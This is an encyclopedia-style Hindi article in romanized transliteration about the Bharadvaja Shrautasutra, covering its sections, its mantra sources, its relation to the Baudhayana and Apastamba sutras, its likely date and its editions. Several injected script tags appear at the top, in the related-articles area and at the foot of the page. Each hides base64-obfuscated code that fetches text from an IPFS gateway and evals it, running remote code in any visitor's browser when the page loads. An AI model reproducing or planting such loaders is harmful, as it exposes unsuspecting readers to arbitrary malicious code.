भारद्वाज श्रौतसूत्र
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
yah taittiriy shakha ka doosara shrautasootr hai. satyashadh (hiranyakeshisootr) ki mahadevakrit 'vaijayanti' tika ke mangal mean taittiriy shakha ke kalpacharyoan ki vandana ki gee hai. usamean baudhayan ke bad bharadvaj ka nam hai. parampara se bharadvaj aur bharadvaj– in donoan shabdoan ke prayog milate haian. bharadvaj shabd ka prayog adhik prachin hai. svayan bharadvaj grihyasootr[1] mean achary bharadvaj ka nirdesh hai–'bharadvajay sootrakaray.'
soochi
upalabdh shrautasootr mean nimnalikhit vishayoan ka varnan hai:–
| prashn | vishay |
| 1–4. | darshapoornamas |
| 5. | agnyadhey |
| 6. | agnihotr, agrayan |
| 7. | niroodhapashu |
| 8. | chaturmasyayag |
| 9. | poorvaprayashchitt |
| 10–14. | jyotishtom, pravargy |
| 15. | jyotishtom brahmatv |
sootragranth
jaisa ki uparyukt vivaran se spasht hai, yah sootragranth prashnoan mean vibhakt hai. pratyek prashn mean kuchh kandikaean haian aur kandikaoan mean sootr haian. yah sootragranth hai, pravachan nahian hai. sootrarambh mean vidhyansh hai aur bad mean mantr. baudhayan shrautasootr ki apeksha isamean anek taittiriy shakhiy vishayoan ka abhav hone se apoorn pratit hota hai. pramanapurassar kaha ja sakata hai ki kadachith pahale yah sootragranth poorn tha, jisake aprakashit aanshoan ke hastalekh parampara ka lop hone se nasht ho ge. saubhagy se isake praman any sootragranthoan mean, unake bhashyoan aur prayogoan mean milate haian. d aau. raghuvir ne apane sanskaran mean bharadvaj shrautasootr ke un prakaranoan ka sangrah kiya hai, jo unhean apastamb shrautasootr ke rudradattakrit bhashy mean aur satyashadh sootr ki mahadevakrit 'vaijayanti' mean mile. d aau. kashikar ne bhi apane sanskaranoan mean in uddharanoan ka sankalan kar unhean prakashit kiya hai. in prakaranoan (uddharanoan) mean dakshayan yajn, ishtihotr, kamy pashuyag, somayag, prayashchitt, pashvaikadashini, agnichayan aur ashvamedh ka niroopan hai. isase spasht hai ki mool shrautasootr mean ye vishay antarbhoot the. navam prashn mean agnihotr aur ishti sambandhi prayashchitt samavisht haian. isi karan use poorv prayashchitt kaha gaya hai. any vishay sambandhi prayashchitt niroopak bharadvaj sootr ke uddharan milane se anuman hota hai ki is sootragranth mean 'uttaraprayashchitt' sanjnak ek prashn tha.
bharadvaj ne sanhita, brahman aur aranyak in tinoan granthoan ke mantroan ka viniyog kiya hai. bharadvaj ne tisare kand ke mantroan ka viniyog uchit sthan par diya hai. unake samane sarasvat path pratishthit roop mean tha, is karan avashyakata ke anuroop vah mantroan ka nirdesh 'anuvak' ya 'anuvashakashesh' shabdoan se karate haian. kabhi–kabhi 'iti pratipady ... ityante' (yahaan se vahaan tak) roop mean bhi nirdesh hai. bharadvaj sootroan mean brahman granthoan ke uddharan bhi milate haian. inhean uddhrit karake ant mean 'iti vijnayate' ka ullekh hai. is sambandh mean kabhi–kabhi 'brahman–vyakhyatamh' ya 'yatha samamnatamh' shabdoan ka bhi prayog kiya gaya hai. baudhayan shrautasootr ke viparit bharadvaj ne taittiriy brahman[2] ke achchhidr kand mean se bhi kuchh mantroan ka viniyog kiya hai. upalabdh bharadvaj sootr mean hautr ka koee aansh nahian hai.
agnishtom ya jyotishtom
pravargy vidhi somayag ke aangaroop mean ki jati hai. usaka sthan kahaan hona chahie, is vishay mean yajurvediy sootroan mean koee niyam nahian hai. bahudha agnishtom ya jyotishtom ke pashchath isaka vivaran svatantr prashn mean diya gaya hai. bharadvaj sootr ki hastalikhit pratiyoan mean aur prakashit sanskaran mean bhi vah jyotishtom ke madhy mean diya gaya hai. is prakar bharadvaj sootr mean pravargy vidhi svatantr prashn mean varnit hai. pratit hota hai ki kisi hastalekh ke lekhak ne apani suvidha ke lie use jyotishtom ke madhy mean rakh diya jisaka anusaran any logoan ne kiya, kyoanki vastut: pravargy ka sthan jyotishtom ke ant mean hona chahie, n ki anushthan–kram ko khandit karate hue madhy mean.
mantr aur sanhita
bharadvaj sootr apani taittiriy shakha ke sath any shakhaoan se bhi mantr lekar unaka viniyog batalata hai. usane kand aur maitrayaniy shakhaoan se bhi mantr lie haian. vajasaney sanhita ke bhi kuchh mantr usamean milate haian. char rrichaean usamean shaunakiy atharvaved se bhi uddhrit haian. inamean se adhikashan uddharan bharadvaj aur apastamb sootr mean saman haian. haan, ek antar avashy hai. apastamb shrautasootr mean jahaan ‘vajasaneyak’ athava 'vajasananeyinh' ke nirdesh ke sath kuchh mat pradarshit haian, vahian bharadvaj sootr mean ek bar bhi is prakar ka nirdesh nahian milata. ek bat aur dhyan dene ki hai. kuchh sthaloan mean bharadvaj sootr jahaan kathak aur maitrayaniy sanhita ka mantr viniyukt karata hai, vahian apastamb sootr taittiriy ya vajasaney sanhita ka ashray leta hai.
ved
vedoan ke karmakand mean jo vibhinn paramparaean nirmit hueean, unake karan ka sandhan vividh aitihasik aur bhaugolik sthitiyoan mean karana chahie. pahale pratyek ved ke shakal, bashkal prabhriti vibhinn charan hue, phir unake adhar par vibhinn sampraday sthapit hue, jo shakhaoan ke roop mean vidyaman haian. samanyat: yah kaha ja sakata hai ki jis vishay mean brahmanokt vidhi spasht nahian hai, vahaan sootroan mean paraspar matabhed dikhalaee p date haian. yoan brahmanoan mean bhi bhinn–bhinn anushthan vishayak mat vyakt karane vale acharyoan ke nam milate haian. ‘kvachith, eke, apare’ prabhriti shabdoan dvara is mat–vaibhinny ka prakashan hua hai. bharadvaj shrautasootr mean ashmarathy aur alekhan in do acharyoan ke nam kuchh bar ae haian jo vidhi ke sambandh mean vibhinn mat vyakt karate haian. bharadvaj parishesh sootr aur bharadvaj grihyasootr mean bhi inake vibhinn matoan ka nirdesh milata hai. bharadvaj sootr ke atirikt apastamb shrautasootr, satyashadh sootr, ashvalayan shrautasootr, baudhayan pravarasootr, atharv prayashchittani tatha poorvamimaansa sootr mean bhi in do acharyoan ke vibhinn mat uddhrit haian. inake adhyayan se yah nishkarsh nikalata hai ki pray: ashmarathy ka mat parampara ke anukool hota hai aur alekhan ka mat suvidha ki pradhanata ke anuroop hota hai. bharadvaj parishesh sootr ka dvitiy prashojan hai ki ek or yah bharadvaj bharadvaj shrautasootr ka parishisht hai tatha doosari or paribhashaoan ka sangrah hai. kul 222 sootroan mean se 102 paribhasha svaroop haian, tatha 9 anugrah roovaroop tatha shesh parishisht prakar ke haian. parishisht sootr mool sootroan ko lekar pravritt hote haian. parishesh sootr mean ashmarathy aur alekhan ke satha badarayan aur audulomi ke nam ate haian. kuchh sootr brahman vaky sadrish haian. hastalekhoan mean prapt sanketoan se anuman hota hai ki paribhasha sootr kandikaoan mean vibhakt tha. sootroan mean se ek tihaee oose sootr haian, jinake vishay upalabdh bharadvaj sootr mean nahian haian. parishesh sootr ka adhikar bharadvaj shrautasootr ke hi saman raha hai. isaka praman yah hai ki taittiriy shakha ke sootroan ke tikakaroan ne parishesh aur shrautasootr donoan ke hi sootroan ka nirdesh bharadvaj ke nam se hi kiya gaya hai. parishesh sootr ke vishayakram ke sankirn hone se pratit hota hai ki yah ek achary ki kriti nahian hai. isake pranayan mean anek rachanakaroan ne yogadan kiya hoga.
shrautasootr tatha grihyasootr
- bharadvaj rachit shrautasootr tatha grihyasootr; donoan ki ek hi shaili hai. isase nishkarsh nikalata hai ki donoan ki rachana ek hi vyakti ne ki thi. bharadvaj paitrimedhik sootr ka bhi shrautasootr se sadharmay hai. at: ise bhi usi rachanakar ki kriti manana upayukt hai.
- bharadvaj shrautasootr mean brahman granthoan ki bhasha–shaili ke bahut prayog milate haian. prakrit bhasha ke aansh bhi isamean milate haian.
- bharadvaj shrautasootr ke paryukt parichay se isaki prachinata suspasht hai. baudhayan aur bharadvaj sootroan mean kuchh batean saman haian tatha kuchh mean bhinnata bhi hai. bharadvaj baudhayan ke sadrish vistar se vishayoan ka pratipadan nahian karate aur n hi mantroan ko poorn roop se uddhrit karate haian. jahaan tak bharadvaj sootr ka vistar hai, vahian tak baudhayan aur bharadvaj ke vishayakram mean bhinnata hai. darshapoornamaseshti mean brahmatv mean jyotishtom ke poorv prayashchittoan ka vidhan hai. baudhayan mean sabhi prayashchitt ant mean ekatr die ge haian. bharadvaj mean pravargyaprashn ko hastalekhoan ke lekhakoan ne jyotishtom ke madhy mean sammilit kar diya hai.
- baudhayan ki apeksha apastamb shrautasootr se bharadvaj ki rachana–shaili adhik milati hai. donoan mean vishayoan ka kram pray: saman hai. itana hi nahian, sootroan aur shabd–prayogoan mean bhi bahudha samy hai. apastamb ki apeksha bharadvaj ki rachana–shaili kuchh shithil hai. in pramanoan se yah spasht hai ki bharadvaj ka samay baudhayan ke pashchath aur apastamb ke poorv hai. bharadvaj ne sambhavat: ee. poo. 550 ke as–pas apana shrautasootr racha hoga.
- bharadvaj sootr mean maitrayaniy sanhita se mantr uddhrit kie ge haian. is sanhita ka bhaugolik kshetr kuroopanchal pradesh mean tha. bharadvaj grihyasetr mean yamuna nadi ka nirdesh milata hai. isase spasht hai ki bharadvaj ka sthan kuru-paanchal mean yamuna nadi ke pradesh mean tha. is shakha ke anuyayi andhr pradesh aur tamilanadu mean the. is shakha ke hastalekh bhi inhian pradeshoan mean mile haian. pratit hota hai ki is shakha ke ine–gune anuyayi hi shesh haian.
sanskaran
- bharadvaj shrautasootr ke pratham 11 prashn samagr roop se aur 12vean prashn ka kuchh aansh sarvapratham d aau. raghuvir ne ‘jarnal aauph vaidik stadiz’ bhag 1–2, mean lahaur se sanh 1934 mean prakashit kiya gaya tha.
- sanh 1964 mean d aau. chian. g. kashikar ke dvara anek hastalekhoan ke adhar par pun: sampadit tatha aangrezi mean anoodit roop mean pitrimedh aur parishesh sootr sahit vaidik sanshodhan mandal, pune se do bhagoan mean prakashit is sanskaran ka upodghat atyant shodhapoorn samagri se sanvalit hai.
tika tippani aur sandarbh
sanbandhit lekh
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>